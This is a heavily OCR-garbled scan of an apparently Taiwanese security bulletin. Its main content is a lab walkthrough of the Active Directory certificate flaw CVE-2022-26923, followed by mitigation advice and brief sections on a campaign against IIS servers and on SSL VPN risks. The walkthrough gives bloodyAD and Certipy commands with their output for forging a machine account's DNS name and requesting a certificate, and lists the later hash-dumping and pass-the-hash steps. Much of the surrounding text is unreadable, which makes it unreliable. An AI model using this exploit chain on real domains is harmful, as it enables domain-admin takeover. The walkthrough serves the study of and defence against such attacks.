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Logon Logon Modification Dumping Owner/Us
Initialization  Initialization (DCSync) er
Scripts Scripts Discovery
Modify Access Token  Access Token Modify
Authentication  Manipulation  Manipulation Authentication
Process Process
Create Rogue Domain
Account Controller
File and
Directory
Permissions
Modification
Modify
Authentication
Process

7ok kR ¢ https://attack.mitre.org/datasources/DS0026/

B5 ATT&CK 4E* 2. AD 4p b s ¥ Hjis

AYFEFARNFRE SR IRATP R K § LI ER T I 25

FIE R AR T AT Y - 0 2 AD PR BT il e RS >
TR IR AD 2 B RR > R B RS H e AT % o T
AR B AT AT F 2 CVE-2022-26923 55 BLie (7 PEit 2 9 (v5%

8.8 ;gg; ;as;;%«gzg» TR TR A RRERITY FR - HiTR R A
R I FF TR 2 s ¥ £ 2 8234 73k 3 - CVE-2022-26923 33 213 & d 3%
T Hotk = #7#¢ * DNS Host Name(dNSHostName %-#c)7 & 5 v&— & » sz
FTikTh o BH B e T %% © 2 INSHostName » #4511 *
AD & 7 PR 33(Active Directory Certificate Service, AD CS)i& *

Ao 2 FEMABBR TS LT 2] R -
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dNSHostName %] & "o & & 2 $F 2 EFFEEHE - L UFEEHEER
Kerberos % # fc > T B~ dr 4 - F (TR EREHHE Y > LR
6 o

~

Kali Linux
IWEEHE AD

e OS : Kali2022.1
i ?E :,Eﬁﬁﬁéﬁiﬁi‘%}%ﬁf}ﬁﬁ%ﬁi Domain : cve.com
omain Userfik XXXX) - A .
| A& IR SR i TnslookupZcertutilifE< B ADARFRG R
BTAEF (Certificate Service)
— AD DNS Host Name : AD.cve.com FEHPatch
— DNS IP : XXX XXX
— CA Name : cve-AD-CA
e {£ATE : BloodAD - Certipy -
Impacket-secretsdumps ~ Impacket-
wmiexec

TR KR AL T

OS : Windows Server 2022

Rl6 F iTRERSR

FOFRBE 218 0 7 &3R5 ek Domain User tR = 'R TF 7 2 2 e i
% %% Domain Computer (ms-DS-MachineAccountQuota > 0) » & 4 i iF 4 &
i * & Domain User 2 = Domain Computer t& ** [FakePC02] > * £ #7

Domain Computer 2. dNSHostName % [AD.cve.com] > 3L 1] 7 °

A2 B2 IFEMARPR T ELL 2 T -
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/home/kali/Downloads/bloodyAD-main
bloodyAD.py cve.com CVEUSER | I
5 addComputer FakePC@2 Irc
Opening domain CVE...
Successfully added machine account FakePC02% with password Passwlrd.

/home/kali/Downloads/bloodyAD-main

bloodyAD.py cve.com CVEUSER ]
5 setAttribute 'CN=FakePC®@2,CN=Computers,DC=cve,DC=com’ dNSHastName

dNSHostName set successfully

A KR L AR AEIR

B7 2= Domain Computer t& =

By ik 2§ &[cve-AD-CA] » & 11 % 33 1§ 3 & {7 Kerberos %7 @ = #
EP- AD T "tk ©# 2. NTHASH > £ 4% AD 7 *at& 2. NT HASH 4& % )
Lr’ﬁ tk = HASH & o B {5 #>F Tk B ¢ ] * impacket-wmiexec 1 £ i&

= Pass the Hash s # > % iF Administrator *k 552 NT HASH & J& B~ % &5 37
g - FRESBRET FHB O ELRE -

1.#E52 Domain Userfik S#FR 28 0] #17Domain Computer

2.23BDomain Useri2 17Domain Computerii 5 [FakePC02]

3.8 iDomain ComputerfJdNSHostName 75 [AD.cve.com]

E 4.5 A (AI5EEE [cve-AD-CA] | =
Kali Linux 5.LUAIEEZ#ETKerberosEzs - O EBSADERIEE 2 NT AD

W HAGH
6. FIFADSAAIE S NT HASHIE th iR SRIHASHIE

v

L

7. ®AHimpacket-wmiexec T B#17Pass the Hash £ . %8
AdministratorfEss 2 NT HAS H {5 & By 42 fef 47 5| 13 .

TR R hAR R

A2 B2 IFEMARPR T ELL 2 T -
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3.2 CVE-2022-26923 3 BLi3 48 »

B e # i CVE-2022-26923 i 4 42.5% > 1 a4 I { AT K
SR A Lz A PO RSB OATRGA RS B NI RD B p
AT Z BN s 2T R :;'g 43¢ ¢ 1% (Domain Admin) & &2t = 14 7

e £t 34T 53 8E2. AD 2 Domain User ' 13 ez g [ pF » g a1

Property: | dNSHostMame i
Syntan: DirectorySiring

Value

e Active Directory Explorer X

o Unable to update attribute:
B —EREEER -
BE
Add... Modify... Remaove Ok Cancel

FALKR  Adp R

B9 14 Domain User ##*2 ¢ & ;* i :x dNSHostName /& £

N N I I R = A o oz

Vo=
"sz0ID_NTDS_CA_SECURITY_EXT 2 #7#~ i* ID(Object ID, OID) - &
d 3% OID ¥ q',% > MW ZESID) M E - B 2R F R AR o B
AR STE SR a2 8 HRER §F MG EL SIDER Y X
SID # 7 fe » 2L B 10 -
ke B2 FEHARBRIF LS 2P Rt -

21



/home/kal1/Down10ads/bloudynﬂ main
cel req ‘'cve.co akeUpd:
hine 192.168. 9’ 20 cve-AD-CA
Certipy v3.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate
[*] Successfully requested certificate
[*#] Request ID is 14
[*] Got certificate with DNS Host Name 'AD.cve.com'
- [*] Certificate object SID is 'S-1-5-21-3631693279-1686060548-334193783-2105"
[*] Saved certificate and private key to "ad.pfx’

/home/kali/Downloads/bloodyAD-main

auth ./ad.pfx

Certipy v3.0.0 - by Oliver Lyak (lyik)

[*] Using principal: ad$@cve.com
[*]1 Trving to get TGT.

- [-] Object SID ml_—.m:tch between certificate and user 'ad$’
L-] Verity that user "ad$’' has object SID 'S-1-5-21-3631693279-1686060548-334
193783-2105"

TR kR AL R

I EET B FAEBCR  FRETR BT EEBIRHCS) - 4
AME FEEEALBE R 4 oy

R T GERE S ol T S AT RE R A B

req cve.com/FakePC@3%:Pa Orda) CVE-AD-CA

Machine
Certipy v3.0.0 - by Oliver Lyak (ly&k)

[+] Generating RSA key

[*] Requesting certificate

[+] Trying to connect to endpoint: ncacn _np:10.3.0.135[\pipe\cert]

[+] Connected to endpoint: ncacn_np:10.3.0. 135[.p1pe\cert]

[-] Got error while trying to request LeltlflLate. code: 0x80094800 - CERTSRV
_E_UNSUPPORTED_CERT_TYPE - The requested certificate template is not supporte
d by this CA.

[*#] Request ID 1s 6

Would you like to save the private key? (y/N) y

[*] Saved private key to 6.key

TR &R AR ER

A2 B2 IFEMARPR T ELL 2 T -
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Bl X LEFEFAEUFIEGR2EE
His g B T A # 2 Domain User *34/#& = Domain Computer 2_ #c

£ > #-ms-DS-MachineAccountQuota 3% ¥ % 0> 2L & 7 ju3f H 373

1
Domain Computer > £ %”ﬁf d E % prfrie i 2 % (Government Configuration
TNE F EFFE 222

Baseline, GCB) » #-% "%k T \Windows K T \% > 43K
Windows f# X ;I%‘,iﬂi%l I AVIER A A o Aot B F 4r i AD K

DG TR ST EE o

[ N
X

T2 %

Ao 2 FEMABBR TS LT 2] R -
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4.

A% 2 dp 14 % b 5 Microsoft IIS Web &R E 2. P 388 2% L 18 * 03k ir &

LA 0 B E ‘T] Cranefly i& #* 378 Hjiv » %%’ % i :B Microsoft Internet

Information Services (IIS) Web PR p 25> E P4 X R 4% A EL 42

PP ¥-A2kB L FRE 3"\‘9%%’2 CPEEEE N R IF S R

ATt TP AR REFFI P FER LT H i SHATH R

o B %}i,’{ﬁ“r’ %1 #< JavaScript 2 z&?{%&;\ oA nEFERLAES 0 GFRE
ATI W 250 RATR gexk o FlptslgF - R4 F 2 bR o

]

FP A 0 AFRTE S PR FRARSM I RT &ﬂ’ur%
E o A A #f?@ﬁfi‘lrﬁfufbﬂwww B4 Rok
BTt H ) LA RUHFEY c HHAFT 2RI e TR L R TR

I A AR "RTE L FARRE L2 TR AW | 2 TR ERET R
M2z FEERE RN FTEDEER

FELAAZ AL SSLVPN % 2305 » 32 23 F 445 VPNK & 2
B ATRF 0 HE L BB E A S~ B T 5 SSLVPN 2% 2p ik o 2
% SSL VPN %k # 20 F 30 VA p 3ng R - ¥4 2 B % B> Internet 7
ERGPRS B REFRAH L SSLVPN & * & A B b 3%k
WP ZE B UL B RS o A SSL VPN K & % DIRF P AP M 8
#5543 SSLVPN X & AP MR 7 ac 2 > 2 b "6 > WA S B

"‘9:.5' Ei&iﬁ*/i‘—5 "l_;%_ o

~

)

e

SE B A M L AD ST £ 2498 CVE 33 @5 F 17 AD
EMERIIG LB o v KA TR A#HY EE AR s F
~iEAD > TE A B R T AP O B IRFE 0 dof S IR
FFW Ao AT AEP AD 2 ¥ Ao L2 TR

“t3% 338k 2 3k CVE-2022-26923 AR S IRTRTE- I

#
*“J‘ i}

ook S 0w
»*x}t

pINR
e

-
A
# i 5

‘:mk- 4

o

A2 B2 FEMARERFTFTEX 277 e o
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FEIpMES
AEREFENTELE 2F ML FTEMER > WP T
¢ 1 ERRFEIFTALS I ALY < (NISAC) £ §

N-ISAC # ¢ *+ 11 % 28 p B & = %Fﬁu@ﬂ‘%géiﬁ S PR é‘iﬁi%%‘#ﬁ N-
ISAC 111 & 3 7752 STIX2.1 fad3p g2 ¢h » A P2 B % 4g4R 2
REEERTESP RS ARPR SRR SRR S R
BT o ¥ b JGRALS S MM A A AR S 2 A B T P JRabie b
PHRERA 0 RALS BB R BHOADT AP EL LR BTz 2
23 -

N-ISAC 111 # R F 1A e T2 Z AP TR F E R Ed 2 it 4

BARPFF BB TIB > FREBAUTITEHTRLA2LT
ZTEoELn R BERFALEABRATE TS FE - LR L B Z
ﬂé%ﬁﬁﬁﬁiwﬁ’ﬁﬁﬁzﬁﬁ’ff%ﬁﬁ%i%&ﬁ,%ﬁﬁ
PR WE RN E s TAPEEG R B R o BARS FE
%%ﬂ%éﬁ%hﬂﬁ?@%liﬁi FRAFTEHEEREFE T
FRGERLIPH 3 WP AR 0 F < g4 > $ 377 U PAE =

o it TG T A B ~ i N o 2 e
CF A LR R

W

—n\1.

¢ 111 #5 2 F{FiE% 2P HEREFHE

FLAFFU L 2 A g 11 8 312 R EE o 4 RS
Ao s P s FaE S L SR AR RHAE ST AP
HELRLAHFTUX2F AR FHI2FTEERG)AR - P FEEF
HES A RIURPH T AR LA RLR A TEBPY LE R
R ERITE > FREEHN 110 &2 R FREFT SR TERZEL T
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